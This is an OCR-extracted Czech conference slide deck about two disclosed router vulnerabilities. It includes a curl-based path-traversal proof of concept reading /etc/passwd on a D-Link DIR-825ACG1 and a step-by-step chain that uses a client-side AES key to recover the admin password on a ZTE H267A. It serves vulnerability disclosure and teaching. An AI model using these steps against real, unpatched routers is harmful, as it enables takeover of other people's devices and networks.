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F12 jako zbranif

Co vas router prozradi,
kdyz se ho zeptate

Vojtéech Hron

n00ObDebugger - cybersecurity student
hron.re - 2 CVE (pending)
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whoami

@1 O MNE

5 Vojtéch Hron Q Vulnerability hunting
= neebDebugger

<{> Exploit development

Student kyberbezpecnosti.

Hlavné mé bavi ofenzivni stranka - red team a vyvoj .
exploitd. J\r Red team techniques

Chci rozumét tomu, jak se véci rozbiji.

Nic mi spolehlivéji neukaze, kde byly $patné postavené. O Malware analysis
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O cem to bude

02 AGENDA

01 | F12 jako metoda
proc developer tools staci

D-Link DIR-825ACG1
path traversal, Ghidra, MIPS

ZTE ZXHN H267A (02)

unik hesla admina bez prihlaseni

oa | Responsible disclosure
realita s vendorem a ISP

Zivé demo
heslo admina v plaintextu
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hron.re
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Dvakrat F12. Dvakrat bezpecnostni chyba.

03 TEZE

[ N\ D-Link DIR-825ACG1

Path traversal

arbitrary file read bez autentizace

Dopad

/etc/passwd, konfigurace
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a

Dopad

ZTE ZXHN H267A

Unik hesla admina

bez prihlaseni, pres HTML + XML

2 049 zarizeni z internetu

hron.re



>  F12 jako zbran - OpenAlt 2026 hron.re

01

D-Link DIR-825ACG1

Conditional arbitrary file read pres dvojitou path traversal

FIRMWARE ARCHITEKTURA STATUS CVE

1.12.0.08b1673 MIPS EOL - bez odpovédi pending (MITRE)
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Discovery: podezrely request

04 D-LINK - DISCOVERY

Prihlasuju se do admin interface routeru.
v . v s s Authorization
Ze zvédavosti oteviu F12 a divam se na requesty. _

Zaujme meé endpoint, ktery:

CLEAR

C] bere cestu k souboru jako parametr

O O Inspector Console D Debugger ) Network {} StyleEditor () Performance {0 Memory (3 Storage 7 Accessibilty B Application 3@ @ X
. s s s W | Vrterun Il 4+ Q O Al HML CSS JS X4R Fonts Images Media WS Other | []DisableCache | NoThrottings | %
(© je zajimavym cilem pro path traversal e TR
[201] 3 fi 19216801 indexhtml document himi 2328 19148
[200] 3 fit stylesheet o 5735K8 57.28k8 stms
3 fi styesheet o 828518 827848 sfms
260] 3 AL « saript json 98 08 syms
o2l fi 19216801 perms st supt i NS_ERROR_CORRUPTED CONTENT 08
L > ukazka z network tabu 3 w10 e :
G 19216801 E cipt s 7296648 957K 2
i ) ) ) ) 200} GET cript 374KB \‘ sms
GET /concat?type=js&path=admin/lib_js_Tlist @ @ - o |
GET /concat?type=js&path=admin/js_Tlist ' : I
() 42requests | 182MB/142MBtransterred | Finish: 19325 [l DOMContentLoaded: 647ms [ load: 221 5
1| it Outpt Emors Wamings Info Logs Debug | (S5 XHR Reguests | §f X

A Passuord Tields present on an insecure (http://) page. This is a security risk that allows user login credentials to be stolen. [Learn Hore] 1
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Hypoteéza: server soubor nacte, ale neumi ho zpracovat

05 D-LINK - TEST

( v/ ) Existujici soubor @ Neexistujici soubor

path = /etc/passwd path = /etc/something

n=m n=m

Request Response Request Response
Pretty  Raw  Hex ®E N = | prety Raw  Hex _QE 0 = Pretty  Raw  Hex _QE 0 = Raw  Hex  Render Q@ 0 =
1| GET /concat?type=js&path=../../../ s/ -/ va/ss/ss/ s/ s  [etC/passHS_= 1 HITP/1.1 200 OK 1 GET /concat?type=jspath=../../../.. «ofu/un/ . [etc/sOMEthings = 1 HITP/0.9 1337 No response headers received

882fb0828ebS56e760215bd86b0CSEa HTTP/1.1 2| Content-Type: application/javascript 882fb08208ebS56e760215bd56b0cSEa HT 2
2| Host: 192.168.0.1 3 Content-Length: 0 2| Host: 192.168.0.1 3 HTTP/1.1 404 Not Found
3| Accept-Language: en-Us,en;q=0.9 a 3| Accept-Language: en-Us,en;q=0.9 a
4 Upgrade-Insecure-Requests: 1 s 4 Upgrade-Insecure-Requests: 1
5| User-Agent: Mozilla/5.0 (X11; Linux x86_64) ApplewebKit/537.36 (KHTML, Like Gecko) 5| User-Agent: Mozilla/5.0 (X11; Linux x86_64) ApplewebKit/537.36 (KHTML, Like Gecko)

Chrome/143.0.0.0 Safari/537.35 Chrome/143.6.0.0 Safari/537.3
6| Accept: 6| Accept:

text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, mage/webp, image/apng, */*; text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, mage/webp, image/apng, */*;

q=0.8, application/signed-exchange; v=b3;q=0.7 q=0.8, application/signed-exchange; v=b3;q=0.7
7| Accept-Encoding: gzip, deflate, br gzip, deflate, br
& Con : keep-alive i
9
10

200 OK - Content-Length: 0 404 Not Found

— Request projde, ale server nic nevraci. Nacitd - jen neumi

odpovédet, — Kdyby endpoint cestu ignoroval, 404 by nikdy nedaval.
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Mechanism + Proof of Concept

06 D-LINK - EXPLOIT

] 1lib_js_list >_  Proof of Concept

seznam cest, které server poslu$né nacita e e e

$ echo ../../etc/passwd > /tmp/POC

® 00 /srv/anweb/apps/admin/1lib_js_1list
apps/admin/app.js
apps/admin/modules/history.js e oo 2 - dtoc€nik
apps/admin/modules/auth_interface.js
[...] $ curl "http://192.168.0.1/concat?path=../../tmp/POC"
® 00 3 - vysledek - /etc/passwd

admin:[...]:0:0:root:/:/bin/sh

. o G p Ly nobody:x:99:99:nobody:/:/bin/false
Cesty jsou relativni vuci pracovnimu adresari. ftp:x:500:500:ftp: /mnt:/bin/false

Path traversal = prekroceni té hranice.
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Root cause: anweb binarka v Ghidre

07 D-LINK - ROOT CAUSE

& Vysledna cesta = "/srv/anweb/" + user_input - Zadné filtrovani ../, Zddna kanonizace

09 / 25

Ghidra - get_full_path()

 Decomple: el ot e

1

2[char * get full_path(char #localPath,char *prefix)
=

4{

5| size t lenght:

5]

7| lenght = strlen(localPath);

8 1f (lenght + Oxb < 0x200) {

g strcpy (prefix, "/srv/anweb/");

10 strcat(prefix, localPath);

11| &

12 else {

13 prefix = (char *)0x0@;
14 1

15| return prefix;

16}

17]

28
29
30
31
32
ZE]
34
EE]
36
37

39
40
41
42
43
44
45
46
a7

Ghidra - concat_end_point()

else {

fullPath = (char *)get_full_path(auStack_820, auStack_420);

_ stream = fopen(fullPath,"r"};

if {_ stream != (FILE *)0x0)
fullPath = buffer + 1;
ng_printflparam_1,"HTTP/1.1 200 OK\r\n");:
mng_printfi{param_1,"Transfer-Enceding: chunkedyrin");
set_content_type (param_l,acStack_820);
mg_printf(param_1,"\rin"};
while (pcvar3 = fgets(fullPath,0x200, _stream), pcVar3 != (char *)oxo) {

sVar2 = strlen(fullPath);

if (buffer[svVar2] == '‘n') {
buffer{svarz] = '\0';
+
write from_file(param_1,fullPath,acStack_ 820);

1
ng_printf(param_1,"O%r\nirin");
fclose(__stream)

return 1;

1.

hron.re
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Hacek: musim mit kam napsat ten list

08 D-LINK - ATTACK VECTORS

& Conditional arbitrary file read: endpoint Cte soubor z FS, takze potrebuju jakoukoliv cestu, jak na FS néco zapsat.

3 Y [3;

Samba (NAS feature) Anonymni FTP USB flash disk

default neumosiuie: Gtoénik b router pojmenovava USB deterministicky
otfeboval znat sdjl’lénou cestuy podporovano, defaultné vypnuto (/mnt/usb1_0) - fyzicky utok bez

P autentizace

[ teoretické ] [ teoretické ] [ realistické ]
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Disclosure: vendor neodpovedel

09 D-LINK - DISCLOSURE

11 / 25

21. 2. 2026

Zranitelnost objevena

21. 2. 2026

Report odeslan D-Linku

22. 4. 2026

60denni deadline bez reakce

23. 5. 2026

Verejné zverejnéni (EOL zarizeni)

Lekce #1

EOL # neexistuje

D-Link report ignoroval.

Zarizeni je EOL, vendor neplanuje zadny firmware fix.

CVE jsem si tak musel vyridit pres MITRE sam.

hron.re
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02

ZTE ZXHN H267A

Encrypted # Secure. Admin heslo bez prihlaseni.

ISP FIRMWARE STATUS EXPOZICE

02 (Cz) V1.0.5_CZ.2T19 EOL - ISP potvrdil 2 049 na internetu
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Discovery: endpoint, ktery se nepta, kdo vola

10 ZTE - DISCOVERY

e 00 response XML

Q Pred prihlasenim se divam do network tabu. <ajax_response_xml_root>
<IF_ERRORID>0</IF_ERRORID>

<O0BJ_USERINFO_ID>
<Instance>
A uoiss ' o <ParaName>Password</ParaName>

html 7664 kB

304 GET 4 1000138
= = e E <ParaValue>cmFuzZG9tIHNOdWZmCg==</ParaValue>
= S e e T e <ParaName>Username</ParaName>
= S s I e T jom <ParaValue>admin</ParaValue>
= T e e =L e </Instance>
= P —— - = o - </0BJ_USERINFO_ID>
Ger 41000138 account_info_ w2 e o738 6108 | stoms <encode>PaS SwWOo rd</encode>
GET £ 1000138 lights.png utils j5:209 (img) png NS_BINDING_ABORTED 140kB [ 1me i
</ajax_response_xml_root>
@ Tlé4requests | 410.73KkB/79.77 kBtransferred | Finish: 102 [l DOMContentLoaded: 320 ms [l Ioad: 637 ms
W | ¥ Fier output Erors Wernings Info Logs Debug | CS5 XHR Requests | K€ X

® 0 o bez autentizace

GET /common_page/account_info_lua. lua
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Jak je heslo ,,chranene”

11 ZTE - ENCRYPTION

e 0o o0 login page - inline JS : encodePara()

function encodePara(data, key, iv) {
var key = CryptoJS.SHA256(key); AES-CBC + SHA-256
var iv = CryptoJS.SHA256(1iv);

var encrypted = CryptoJS.AES.encrypt(data, key, {

iv: 1v, .
mode: CryptoJS.mode.CBC, Zadna magie - AES v CBC médu, ZeroPadding.
padding: CryptoJS.pad.ZeroPadding

3 _ °

return encrypted.toString(); Key alv proteEou SHA-256.

® Desifrovani bézi stejnou funkci - klient ho musi
umet.

Kdyz mam kli¢, cely proces otocim.
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Kde je ki

12 ZTE -

view-source -

OpenAlt 2026

ic?

THE KEY

n
Response
Pretty Raw Hex Render [l
2782 1
);
2783 $(document) . ready (function(){
2784 s{function(){
2785 var loginHead = $(".loginform");
2786 var DevInfomationUrl = "/common_page/account_info_lua.lua";
2787 loginHead. succfunction = function(xml){
2788 var username = getParaValueInXML(xml, "OBJ_USERINFO_ID", @, "Username");
2789 var rememberPwdFlag = getParaValueInXML(xml, "OBJ CZLOGIN ID", O,
"RememberPwd" ) ;
2790 if (rememberPwdFlag == 1) {
2791 $("#saveFlg").prop("checked", true);
2792 autoFillAccountInfo = 1;
2793 $("#Username") .val (username) ;
2794 var passPara = {
2795 "Password": {
2796 valueOrigin: "",
2797 setAction: function (ParaNameSel. ParavalSel, selfval) {
2798 var key = "972803767843366871467620";
2799 var 1v = key.split(**).reverse().join("");
2800 ParaValSel = decodePara(SeltVal, key, 1v);
2801 $("#Frm_Password").val(Paravalsel);
2802 }
2803 i
2804 +;
2805 xmlParalnIinstOperate(xml, "OBJ_USERINFO_ID", O, passParal;
2806
else{
2807 $("#SaveFlg").prop("checked", false);
2808
2809 };
2810 loginHead.dataTransfer (DevIinfomationurl, "GET", leginHead.succfunction,
undefined, false);
2811 T
i
2812 $( ' #saveFlg').click(function(){
2813 1f ( $('#SaveFlg").1s(' :checked') )
2814 {
2815 autoFillAccountInfo = 1;
2816
2817
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else

login page - inline <script>

Q’" key + iv v jedné Fadce

=
Il

® KEY

string primo ve zdrojaku stranky

® IV

key.split("").reverse().join("")

@® ROTACE

cca 1x za minutu - vZdy verejna

pozn. screenshot a ¢ldnek zachycuji jiné rotace klice

hron.re
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Cely retézec utoku

13 ZTE - ATTACK CHAIN

| 2 o

Zavolat

Nadist login stranku Vytahnout key z HTML account_info_lua.lua

AES-CBC decrypt Admin password

session cookie + inline JS s

Klicem string v <script> se stejnou cookie SHA-256(key), reversed IV plaintext

& DuleZity detail: kroky 1 a 3 musi jit pfes tu samou session - server Sifruje tokenem odvozenym z SID, ktery je rovnou tim klicem v HTML.
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Root cause: insecure by design

14 ZTE - ROOT CAUSE

Kdyz kryptografie pro ,Remember me" béZi cela na klientu,
klient bud”musi znat heslo v plaintextu, nebo ho umét néjak odvodit.

Nejde o bug v jedné funkci Q Neni to ,kryptografie”, je to Utok nejde odlisit od pozadavku
o kédovani <:>
ale o Spatné navrzeny feature verejny kli¢ = base64 ve slozitéjSim obalu ST ROIESRY LD I WSS o

page
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Co muzZe Gtocnik, kdyZ ma admina

15 ZTE - IMPACT

(m] Zmeénit konfiguraci @ Presmérovat DNS “~— Ziskat Wi-Fi heslo
vypnout bezpecnostni prvky MITM, phishing, injekce default = stejné jako admin
o . . - -
— Vstoupit do LAN J\,— Perzistovat ISI Jedna véc staci
odrazit se na dalsi zarizeni firmware, cron, backdoor web interface, zadna credentials

Jedina podminka: dosahnout na web interface routeru.

18 / 25



>

2 049 zarizeni primo z internetu

16 ZTE - EXPOSURE

censys

censys

R Free Plan V SearchResults  Reports
= Filter Results

) Search B

® rfra 5

vyhledanych zarizeni

utok z druhé strany svéta - bez detekce

search results
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Responsible disclosure - realita

17 ZTE - DISCLOSURE

AN

02 (ISP)

> potvrdilo chybu
> komunikovalo jen pod tlakem

> informace jsem si musel vyméhat

&
NUKIB

> eskalace po 2 mésicich ticha
> zasahli a tlacili na ISP

> bez nich by se nic nehnulo

hron.re

8 ZTE (vendor): report k nim doputoval pfes 02 (8. 7.), pfimo jsem je nekontaktoval. Z4dna dal3i komunikace smé&rem ke mné.
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Timeline

18 ZTE - TIMELINE

25. 6. 2026 26. 6. 2026 8. 7. 2026 28. 8. 2026 8. 10. 2026

Chyba objevena Report odeslan ISP ISP potvrdil, preposlal ZTE Eskalace na NUKIB Oficialni stanovisko ISP

lb »Bug bounty" nakonec prisel: automaticka omluva od 02 za nefunkcni sluzbu - sleva 200 K¢ na dalsim vyuctovani.
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Zivé demo

ZTE ZXHN H267A — heslo admina v plaintextu

e o0 expected output

------ RESULT ------
User: admin
Password: [...REDACTED...]

22 / 25
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Co uvidite v terminalu

19 LIVE DEMO - ROADMAP

01

04

23 / 25

nacist login stranku - ziskat session cookie + key

vyparsovat var key = "..." z inline <script>

curl GET /common_page/account_info_lua. lua

extrahovat <ParaValue> s base64 blobem

SHA-256(key) - AES-CBC decrypt - plaintext

hron.re
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Co si odnést

20 TAKEAWAYS

Q F12 jako metoda 06 Sifrované # bezpecné
dvakrat se podivat — dvakrat bezpecnostni chyba AES s verejnym klicem je v praxi jen sloZitéjSi base64
& EOL # neexistuje O NUKIB ma smysl
obé zarizeni EOL, presto 2 049 H267A porad na internetu bez eskalacni cesty se disclosure nehybe

24 / 25
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OpenAlt 2026 -

Brno

Dekuiji.
Otazky?

Vojtéch Hron - n@@bDebugger

T[]
e

I.I. :. r
Iﬁu’ 2

web + dalSi vyzkum

.« PGP + kontakt na hron.re

DIR-825ACG1

D-Link - writeup

Li e o

¥

i'l: =] .__::l

e =
R

[m] =Ty i

ZTE H267A
ZTE - writeup

hron.re
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